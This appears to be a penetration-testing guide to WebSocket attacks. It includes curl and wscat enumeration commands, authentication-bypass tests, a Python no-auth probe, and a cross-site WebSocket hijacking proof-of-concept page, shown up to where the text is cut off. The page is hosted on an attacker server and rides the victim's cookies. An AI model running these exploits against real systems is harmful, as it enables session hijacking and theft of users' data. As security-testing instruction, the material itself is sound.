Exploiting WebSocket Vulnerabilities

When to Use

• During authorized penetration tests when the application uses WebSocket connections for real-time features
• When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
• For testing WebSocket API endpoints for authentication and authorization flaws
• When evaluating real-time data streams for injection vulnerabilities
• During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs

Prerequisites

• Authorization: Written penetration testing agreement covering WebSocket testing
• Burp Suite Professional: With WebSocket interception capability
• Browser DevTools: Network tab for WebSocket frame inspection
• websocat: Command-line WebSocket client (cargo install websocat)
• wscat: Node.js WebSocket client (npm install -g wscat)
• Python websockets: For scripting custom WebSocket attacks (pip install websockets)

Workflow

Step 1: Discover and Enumerate WebSocket Endpoints

Identify WebSocket connections in the application.

# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"

# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done

# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"

# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"

# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames

Step 2: Test WebSocket Authentication

Verify that WebSocket connections require proper authentication.

# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing

# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"

# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"

# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"

# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out

# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets

async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")

asyncio.run(test_no_auth())
PYEOF

Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)

Check if the WebSocket handshake is vulnerable to cross-site attacks.

# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working

<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Host on attacker-controlled server -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");

ws.onopen = function() {
  console.log("WebSocket connected (using victim's session)");
  // Request sensitive data through the WebSocket

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